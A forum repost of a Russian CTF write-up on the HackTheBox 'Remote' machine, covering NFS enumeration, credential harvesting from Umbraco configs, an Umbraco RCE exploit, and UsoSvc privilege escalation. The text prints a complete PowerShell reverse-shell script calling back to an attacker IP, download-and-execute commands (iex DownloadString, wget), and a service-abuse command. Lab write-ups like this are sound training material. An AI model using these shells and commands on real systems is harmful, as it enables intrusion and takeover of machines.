[CTF, Информационная безопасность] HackTheBox. Прохождение Remote. NFS, RCE в CMS Umbraco и LPE через UsoSvc

Автор Сообщение
news_bot ®

Стаж: 6 лет 3 месяца
Сообщений: 27286

Создавать темы news_bot ® написал(а)
05-Сен-2020 20:31


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье копаемся в NSF ресурсе, разбираемся с RCE эксплоитом для CMS Umbraco и находим вектор LPE через UsoSvc с помощью PowerUp.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация

SPL
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon
Данная машина имеет IP адрес 10.10.10.180, который я добавляю в /etc/hosts.
10.10.10.180   remote.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500


На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.
nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21


Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21


Порт 111 отвечает за NFS (позволяет монтировать удалённые файловые системы через сеть). Давайте посмотрим список ресурсов.

Имеем доступные ресурсы, давайте примонтируем данный ресурс.

И в данной директории находим Web.config и папку Umbraco. Umbraco является платформой системы управления контентом с открытым исходным кодом.

Таким образом нам, нам нужно посмотреть все конфиги, а также узнать версию Umbraco. Вот что можно отметить в Web.Config.


Находим учетные данные для smtp и версию Umbraco: 7.12.4. Корая является уязвимой, если имеются учетные данные.
Entry Point

Дальше я вывел все файлы и каталоги, которые имеются на удаленном сервере, чтобы выбрать и просмотреть файлы, которые представляют интерес.
ls -lR ./





После того, как круг файлов ограничен, следует их просмотреть (можно поверхностно используя grep для выбора таких строк как: user, login, pass, vers, и т.п.). Так находим информацию о существовании двух пользователей:


После этого, еще раз проходимся grep’ом в поисках строк admin и ssmith. И находим хеши для данных пользователей.


И успешно взламываем пароль администратора.

Если посмотреть базу exploit-db, то там есть готовый exploit, но его нужно чуть изменить.

USER
Во-первых: укажем учетные данные и хост.

Во-вторых: изменим нагрузку, указав исполняемый файл и параметры к нему. В данном случае, для теста используем ping.

Как только программа отработает, в tcpdump мы увидим пакеты ICMP.


Давайте загрузим следующий реверс-шелл:
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()

Сохраним его в shell.ps1, запустим на локальной машине http сервер.
sudo python3 -m http.server

Изменим нагрузку.

И выполнив, получим бэкконнект.

На сервере нет пользовательских директорий, поэтому находим флаг в доступной для всех Public.

ROOT
Посмотрев информацию о пользователе, замечаем интересную привилегию.

Но так как это Windows Server 2019, то имперсонировать токен для LPE не выйдет.

Давайте используем PowerUp для поиска вектора LPE. Для загрузим его с локального хоста и выполним полную проверку.
iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks


И мы имеем разрешения на Update Orchestrator Service. Cлужба обновления Orchestrator — это служба, которая организует для вас обновления Windows. Этот сервис отвечает за загрузку, установку и проверку обновлений для компьютера.
Создадим второй shell (изменим в первом порт) и загрузим его на машину.
wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1

И теперь запустим с помощью UsoSvc.
Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"


И получаем бэкконнект.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
===========
Источник:
habr.com
===========

Похожие новости: Теги для поиска: #_ctf, #_informatsionnaja_bezopasnost (Информационная безопасность), #_pentest, #_pentesting, #_ralf_rt, #_informatsionnaja_bezopasnost (информационная безопасность), #_ctf, #_htb, #_red_team, #_red_teaming, #_ctf, #_informatsionnaja_bezopasnost (
Информационная безопасность
)
Профиль  ЛС 
Показать сообщения:     

Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы

Текущее время: 17-Май 08:11
Часовой пояс: UTC + 5